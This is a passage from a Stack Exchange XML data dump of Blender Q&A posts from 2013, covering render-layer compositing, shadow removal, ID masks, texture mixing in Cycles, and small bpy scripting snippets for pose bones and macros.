but you can use two renderlayers:&lt;/p&gt;&#xA;&lt;p&gt;Layer 1 contains the cube object.&lt;br /&gt;&#xA;Layer 2 has the lights, floor and background.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Settings for Renderlayer1:&lt;/strong&gt;&lt;br /&gt;&#xA;For this render layer all scene layers are enabled to render the object and background.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzZiw.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/6Lvbvm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Settings for Renderlayer2:&lt;/strong&gt;&lt;br /&gt;&#xA;For the no shadows layer, the scene layer with the cube is excluded and masked to remove shadows cast by the cube and to create a mask to combine with the other layer later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mt4sB.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/g3UKR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Composite nodes:&lt;/strong&gt;&lt;br /&gt;&#xA;All that remains to be done is combining the cube into the no shadows layer.&#xA;If you have &lt;em&gt;Render settings &amp;gt; Film &amp;gt; Transparent&lt;/em&gt; enabled you could use an &lt;em&gt;Alpha over&lt;/em&gt; node, or you could use a &lt;em&gt;Mix node&lt;/em&gt; with the Alpha of the &lt;em&gt;no shadows&lt;/em&gt; layer as a mix factor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ma3gL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Material nodes:&lt;/h2&gt;&#xA;&lt;p&gt;You can filter out shadows per material with material nodes, e.g. for a shadowless and bounceless diffuse shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0MJmp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will let light through the object when it's bounced indirectly of a diffuse object and when sent directly from a light source:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhrer.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The obvious downside to this is you have to use two scenes and recreate your materials to use this for compositing.&lt;/p&gt;&#xA;&lt;h2&gt;Object shadow property:&lt;/h2&gt;&#xA;&lt;p&gt;You can also remove shadows per object by unchecking the &lt;em&gt;Shadow&lt;/em&gt; box in the &lt;em&gt;Properties Editor &amp;gt; Object &amp;gt; Ray Visibility&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G9Yzv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do this for all objects for use in compositing, you could&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene from your current scene.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; select all&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After disabling the &lt;em&gt;Shadow&lt;/em&gt; box in &lt;em&gt;Object &amp;gt; Ray Visibility&lt;/em&gt;, right click it and select &lt;em&gt;Copy to selected&lt;/em&gt; to set this for all selected objects.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This will prevent all objects from casting shadows.&lt;/p&gt;&#xA;&lt;p&gt;You can now use this scene in the compositor as a renderlayer.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-04T22:36:48.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3098" PostTypeId="1" AcceptedAnswerId="3125" CreationDate="2013-09-26T20:39:15.290" Score="5" ViewCount="379" Body="&lt;p&gt;In the tracker settings panel, I can choose options like pattern size and search size, but below the search size, I see: &quot;Tracker:&quot;, with no option to choose from. Under that line, I see &quot;Motion model:&quot; with some options to choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to get better tracking using &quot;hybrid&quot;, but I just can set that option. Any suggestion what happened to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: using blender 2.68a (2.68.0 r58537) on Win7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ANIfD.png&quot; alt=&quot;Missing tracker dropdown - highlighter by red arrow&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1356" LastEditorUserId="599" LastEditDate="2013-09-26T23:52:23.003" LastActivityDate="2013-10-03T02:43:02.947" Title="Tracker dropdown is missing in the Tracking settings (in Movie clip editor)" Tags="&lt;interface&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3099" PostTypeId="2" ParentId="3092" CreationDate="2013-09-27T02:21:27.770" Score="4" Body="&lt;h1&gt;ID Mask:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/3094/599&quot;&gt;Gunslinger's answer&lt;/a&gt;, this can be done on two render layers, using an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor#ID_Mask_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;ID Mask&lt;/em&gt; node&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the foreground object selected, set the &lt;em&gt;Pass index&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt; in &lt;em&gt;Object properties &gt; Relations&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0jHs.png&quot; alt=&quot;pass index image&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Object index&lt;/em&gt; pass in &lt;em&gt;Render Layers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ma8b.png&quot; alt=&quot;passes image&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;ID Mask&lt;/em&gt; node and set the &lt;em&gt;Index&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plug the &lt;em&gt;IndexOB&lt;/em&gt; output from the Renderlayer node into the &lt;em&gt;ID Mask&lt;/em&gt; node. This will provide a mask for the foreground object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4rIzF.png&quot; alt=&quot;mask node&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zzVMV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zzVMV.png&quot; alt=&quot;Simple mix setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gunslinger's setup is better as it preserves the sky:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9P9GQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9P9GQ.png&quot; alt=&quot;Gunslinger&amp;#39;s mix setup with ID mask&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/auxiF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/auxiF.png&quot; alt=&quot;rendered result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also use ID masks on a material basis.&lt;br&gt;&#xA;Enable &lt;em&gt;Material index&lt;/em&gt; in &lt;em&gt;Render layers &gt; Passes&lt;/em&gt;, and set the pass index for the material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;em&gt;Materials &gt; Settings &gt; Pass index&lt;/em&gt; to set the pass index of the material in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJe1J.png&quot; alt=&quot;cycles material pass index&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in Blender internal use &lt;em&gt;Materials &gt; Options &gt; Pass index&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/61JGb.png&quot; alt=&quot;BI material pass index&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-09-30T19:55:04.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3100" PostTypeId="1" AcceptedAnswerId="3101" CreationDate="2013-09-27T09:11:16.940" Score="4" ViewCount="147" Body="&lt;p&gt;I created a model and added some Actions in the DopeSheet editor (more or less 5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported the model to my game engine, saved the .blend file (Ctrl-S) and closed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I opened it again, and all the actions were gone, it just had the one I was using last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens with some preferences (for example, I disabled mip-maps on User Preferences -&gt; System, and I have to re-enable it every time I open the .blend file again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody knows how to restore the Actions and save everything? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="943" LastActivityDate="2013-09-27T09:59:22.837" Title="Some parts of my project aren't saved in the .blend file" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3101" PostTypeId="2" ParentId="3100" CreationDate="2013-09-27T09:59:22.837" Score="5" Body="&lt;p&gt;Blender does not save unused datablocks you need to add a fake user to store datablocks that are not in use. See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Data_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;DataSystem Sections Users and Fake User&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setting of mip-maps is not stored in a .blend file you would need to save the user-preferences in the same dialog (button in the lower left corner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2448/what-does-users-means-in-term-of-datablocks&quot;&gt;What does &amp;quot;users&amp;quot; means in term of datablocks?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-09-27T09:59:22.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3102" PostTypeId="1" AcceptedAnswerId="3109" CreationDate="2013-09-27T11:56:31.033" Score="4" ViewCount="412" Body="&lt;p&gt;I got an armature, with bones connected, so everything set up just fine. I want to get a bone's children through the &lt;code&gt;.pose&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v = objects[&quot;armature&quot;]&#xA;a = v.pose.bones[0] #got the root bone&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I want to go through the children recursively. Only problem is that &lt;code&gt;a&lt;/code&gt; is a PoseBone and has only &lt;code&gt;.child&lt;/code&gt; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way I found to get all the children is like &lt;code&gt;a.bone.children&lt;/code&gt; then get all of their &lt;code&gt;.name&lt;/code&gt; and find them in &lt;code&gt;v&lt;/code&gt;. That is &quot;fine&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question&lt;/strong&gt; to the more experienced bpy fans is that if there is a better way to get this set of bones?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2013-09-28T13:15:55.210" Title="How to do PoseBone.children?" Tags="&lt;scripting&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3103" PostTypeId="2" ParentId="3095" CreationDate="2013-09-27T12:18:20.423" Score="3" Body="&lt;p&gt;Just had a though as to how to do this. Not sure if its what you want but I will post it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only works with lamp lighting (Not mesh lights - although maybe a node setup on the mesh emitter can be done)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is duplicate your lamps onto a separate layer and turn off cast shadows in the lamp settings. Then you can use render layers to create a layer with no shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A9COj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akVmc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1261" LastActivityDate="2013-09-27T12:18:20.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3105" PostTypeId="1" CreationDate="2013-09-27T21:19:29.077" Score="19" ViewCount="36190" Body="&lt;p&gt;I am trying to put dirty material over a concrete material in  cycles. Now I am trying to do this using a color ramp and a mix shader, but I don't know if this is the only way or best way to do this. How can I mix these two textures together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L29a2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concrete texture and the grunge texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oj5c2.jpg&quot; width=&quot;320&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wrN58.jpg&quot; width=&quot;320&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="12" LastEditDate="2013-09-28T18:09:56.317" LastActivityDate="2013-09-30T23:38:52.437" Title="How can I blend two textures together using Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3106" PostTypeId="1" AcceptedAnswerId="3108" CreationDate="2013-09-27T22:54:23.437" Score="5" ViewCount="348" Body="&lt;p&gt;On cubes, one of the faces has a checkered face, that doesn't like to cooperate with what I am doing. Can someone shed some light on what exactly this face is, and what it's purpose is?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="12" LastEditDate="2013-11-24T22:56:44.833" LastActivityDate="2013-11-24T22:56:44.833" Title="Checkered face on cube" Tags="&lt;mesh&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3108" PostTypeId="2" ParentId="3106" CreationDate="2013-09-27T23:20:21.277" Score="6" Body="&lt;p&gt;Basic ingredients of a mesh are triangles (&lt;em&gt;tris&lt;/em&gt;), &lt;a href=&quot;http://en.wikipedia.org/wiki/Quadrilateral&quot; rel=&quot;nofollow noreferrer&quot;&gt;quadrilaterals&lt;/a&gt; (&lt;em&gt;quads&lt;/em&gt;), and polygons with n sides (n &gt; 4, &lt;em&gt;n-gons&lt;/em&gt;). N-gon is the least often used, and indeed Blender's own support for true n-gon is fairly recent (2.63).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lower right face of your problematic mesh is a &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Concave_polygon&quot; rel=&quot;nofollow noreferrer&quot;&gt;concave&lt;/a&gt; quad&lt;/strong&gt;. Normally, proper rendering of a concave polygon requires it to be decomposed/fragmented into several convex polygons, a doable operation but &lt;a href=&quot;http://www.cs.princeton.edu/~chazelle/pubs/OptimalConvexDecomp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;potentially expensive [PDF]&lt;/a&gt; for realtime display. Blender doesn't do such operation, blindly drawing a face for each connected edges in each &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.Mesh.html#bpy.types.Mesh.polygons&quot; rel=&quot;nofollow noreferrer&quot;&gt;polygons&lt;/a&gt; in a mesh, hence the &quot;ghost face&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid such occurence, manually convert the quad to tris (select the face, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;T&lt;/kbd&gt;) for the upper and lower part of the quad:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11Riu.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-09-28T00:49:01.203" LastActivityDate="2013-09-28T00:49:01.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3109" PostTypeId="2" ParentId="3102" CreationDate="2013-09-28T12:09:39.753" Score="2" Body="&lt;p&gt;The &lt;code&gt;children&lt;/code&gt; attribute is a convenience property, That is to say - Blender doesn't store a list of children for each bone, This attribute has just been added to some types since its such a common task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects have this, but as you have noticed, not pose bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be &lt;a href=&quot;https://stackoverflow.com/questions/5626193/what-is-monkey-patching&quot;&gt;monkey-patched&lt;/a&gt; in with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def pose_bone_children(self):&#xA;    obj = self.id_data&#xA;    pbones = obj.pose.bones&#xA;    self_bone = self.bone&#xA;    return tuple(pbones[bone.name] for bone in obj.data.bones&#xA;                 if bone.parent == self_bone)&#xA;&#xA;# Add the property to the class at runtime&#xA;bpy.types.PoseBone.children = property(pose_bone_children)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will be included in 2.69, Committed &lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=60407&quot; rel=&quot;nofollow noreferrer&quot;&gt;r60407&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-09-28T13:15:55.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3110" PostTypeId="2" ParentId="3032" CreationDate="2013-09-28T14:26:41.707" Score="6" Body="&lt;p&gt;Great script, lukas_t! I didn't even know about Macros :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That fancy object ptr thing works for me, no error message in 2.67.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved the &quot;remember last object&quot;-problem in another way, maybe that is not going to give errors for you, matali. I simply used static class attributes to store snap settings and the object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator, Macro&#xA;from bpy.props import *&#xA;&#xA;class TranslateCursorMacro(Macro):&#xA;    &quot;&quot;&quot;Overall macro for combining move and cursor operators&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.translate_cursor_macro&quot;&#xA;    bl_label = &quot;Translate Cursor&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        if not context.active_object:&#xA;            return False&#xA;        return True&#xA;&#xA;&quot;&quot;&quot;&#xA;def _find_prev_object(ptr):&#xA;    for ob in bpy.data.objects:&#xA;        if ob.as_pointer() == ptr:&#xA;            return ob&#xA;&quot;&quot;&quot;&#xA;&#xA;class Storage:&#xA;    ob = None&#xA;    use_snap = False&#xA;    snap_element = 'CLOSEST'&#xA;    snap_target = 'INCREMENT'&#xA;&#xA;class RememberObject(Operator):&#xA;    &quot;&quot;&quot;Store active object&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.remember_object&quot;&#xA;    bl_label = &quot;Remember Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # XXX This is not super nice, but we don't have real&#xA;        # properties shared between macro component operators.&#xA;        # In an addon this might be stored as a module-level&#xA;        # python variable.&#xA;        context.scene[&quot;_prev_object&quot;] = context.active_object.as_pointer()&#xA;&#xA;        Storage.ob = context.active_object&#xA;        Storage.use_snap = context.tool_settings.use_snap&#xA;        Storage.snap_element = context.tool_settings.snap_element&#xA;        Storage.snap_target = context.tool_settings.snap_target&#xA;        context.tool_settings.use_snap = True&#xA;        context.tool_settings.snap_element = 'VERTEX'&#xA;        context.tool_settings.snap_target = 'ACTIVE'&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;class DeleteNoQuestionsObject(Operator):&#xA;    &quot;&quot;&quot;Delete object without asking&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.delete_no_questions&quot;&#xA;    bl_label = &quot;Delete Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # XXX The usual bpy.ops operator opens a popup&#xA;        # when invoke. Use this wrapper to avoid that.&#xA;        bpy.ops.object.delete('EXEC_DEFAULT')&#xA;        return {'FINISHED'}&#xA;&#xA;class SelectPreviousObject(Operator):&#xA;    &quot;&quot;&quot;Select previous object&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.select_previous_object&quot;&#xA;    bl_label = &quot;Select Previous Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        context.tool_settings.use_snap = Storage.use_snap&#xA;        context.tool_settings.snap_element = Storage.snap_element&#xA;        context.tool_settings.snap_target = Storage.snap_target&#xA;&#xA;        ob = Storage.ob&#xA;        if ob is None:&#xA;            self.report({&quot;WARNING&quot;}, &quot;Previous object not found&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        &quot;&quot;&quot;&#xA;        ptr = context.scene.get(&quot;_prev_object&quot;, None)&#xA;        if ptr is None:&#xA;            return {'CANCELLED'}&#xA;        del context.scene[&quot;_prev_object&quot;] # cleanup&#xA;        ob = _find_prev_object(ptr)&#xA;        if not ob:&#xA;            self.report({&quot;WARNING&quot;}, &quot;Previous object not found&quot;)&#xA;            return {'CANCELLED'}&#xA;        &quot;&quot;&quot;&#xA;&#xA;        for tob in bpy.data.objects:&#xA;            # Avoid checking every ob, just deselect all an re-reselt previous&#xA;            #tob.select = (tob == ob)&#xA;            tob.select = False&#xA;        ob.select = True&#xA;        context.scene.objects.active = ob&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;bpy.utils.register_class(TranslateCursorMacro)&#xA;bpy.utils.register_class(RememberObject)&#xA;bpy.utils.register_class(DeleteNoQuestionsObject)&#xA;bpy.utils.register_class(SelectPreviousObject)&#xA;&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_remember_object&quot;)&#xA;TranslateCursorMacro.define(&quot;MESH_OT_primitive_uv_sphere_add&quot;)&#xA;TranslateCursorMacro.define(&quot;TRANSFORM_OT_translate&quot;)&#xA;TranslateCursorMacro.define(&quot;VIEW3D_OT_snap_cursor_to_active&quot;)&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_delete_no_questions&quot;)&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_select_previous_object&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just in case anyone wonders how to pass parameters to the operators in the macro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class m(bpy.types.Macro):&#xA;    bl_idname = &quot;object.macro_test&quot;&#xA;    bl_label = &quot;Macro Test&quot;&#xA;&#xA;bpy.utils.register_class(m)&#xA;op = m.define(&quot;TRANSFORM_OT_translate&quot;)&#xA;op.properties.constraint_axis = (True, False, False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-10-02T23:08:57.393" LastActivityDate="2013-10-02T23:08:57.393" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3111" PostTypeId="2" ParentId="1956" CreationDate="2013-09-28T14:50:28.520" Score="3" Body="&lt;p&gt;The problem here is that snapping is an interactive operation, so to what is snapped to is known inside of the transform operator somwhow. But operators don't expose their internal working data, and &lt;code&gt;bpy.context.active_operator.properties&lt;/code&gt; doesn't contain enough to find out (in particular if closest snapping is used, it may move your object to the same location for different snapping locations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the snapping co easily for snap to active, but it won't tell you which object nor which geometry element it used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would a scripted snapping modal operator help? Probably much slower than the built-in snapping, but that's probably the only way to know what is snapped to (requires a lot of final bmeshes in memory I guess).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="12" LastEditDate="2013-09-29T19:44:50.767" LastActivityDate="2013-09-29T19:44:50.767" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3112" PostTypeId="2" ParentId="3105" CreationDate="2013-09-28T16:34:41.457" Score="23" Body="&lt;p&gt;From your nodes setup, it looks like you're trying to mix the original shader with nothing. While this is technically possible it is not the cleanest way to do things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't actually have to create a new shader and use the mix shader to mix two textures. There is a node called MixRGB which can mix two textures, without creating a new shader each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to mix a dirty texture onto another texture. Here are a few:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The most basic setup is just a basic mix:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a2hWK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you change the mix type you can get a few different effects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Overlay&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zSvfW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Multiply&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KmM9u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Darken&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nBdFr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, it looks like you want more control over what values are being effected (you're using a color ramp). So you can use the texture as the color ramp &lt;em&gt;and&lt;/em&gt; as the texture itself (ignore the MixRGB on the bottom. That just makes it blue so it's easier to see):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W4BTI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-28T16:34:41.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3113" PostTypeId="2" ParentId="2508" CreationDate="2013-09-28T19:10:22.083" Score="1" Body="&lt;p&gt;If you wanna fill a matrix with a location vector, then it needs to be 4x4 transformation matrix of course (3x3 is used for rotation, CryEngine uses 3x4 for loc+rot, 4x4 is loc+rot+scale).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a utility function to create a 4x4 translation matrix from a 3d vector:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Matrix.Translation(bpy.context.object.data.vertices[0].co)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-09-28T19:10:22.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3114" PostTypeId="1" AcceptedAnswerId="3117" CreationDate="2013-09-29T11:15:59.353" Score="5" ViewCount="919" Body="&lt;p&gt;I cannot find the source code of mathutils, since it can be imported from python I assume it is a python source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I want to find out whether a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/mathutils.html&quot;&gt;quaternion&lt;/a&gt; is created with W,X,Y,Z fields or X,Y,Z,W. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-09-29T15:26:43.947" Title="What is the parameter order of a quaternion constructor?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
